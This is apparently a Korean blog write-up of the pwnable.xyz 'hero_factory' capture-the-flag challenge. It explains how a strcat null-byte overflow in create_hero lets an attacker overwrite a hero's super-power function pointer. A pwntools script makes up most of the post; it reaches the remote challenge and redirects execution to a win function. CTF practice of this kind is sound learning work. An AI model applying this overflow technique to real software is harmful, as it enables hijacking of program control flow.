히어로를 생성, 삭제, 스킬(?) 사용, 프로그램 종료 기능이 주어진다
create_hero함수에서 hero의 이름을 strcat으로 저장하기 때문에 마지막 널 바이트로 hero를 생성할때 설정되는 영역을 덮어서 다시 할당 재할당 받을 수 있고 strct으로 저장하기 때문에 super power 함수가 저장되는 영역도 덮을 수있다
from pwn import *
context.log_level = "debug"
p = remote("svc.pwnable.xyz", 30032)
#p = process("./hero_factory")
def create(length, name, power):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"be? \n")
p.sendline(str(length))
p.recvuntil(b"name: ")
p.send(name)
p.recvuntil(b"> ")
p.sendline(str(power))
def power():
p.recvuntil(b"> ")
p.sendline(b"2")
win = 0x400a33
payload = b"A" * 100
create(100, payload, 0)
payload = b"A" * 7
payload += p64(win)
create(0x20, payload, 0)
power()
p.interactive()
'pwn > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / nin (0) | 2022.05.25 |
---|---|
pwnable.xyz / Dirty Turtle (0) | 2022.05.24 |
pwnable.xyz / note v2 (0) | 2022.05.24 |
pwnable.xyz / executioner v2 (0) | 2022.05.23 |
pwnable.xyz / badayum (0) | 2022.05.23 |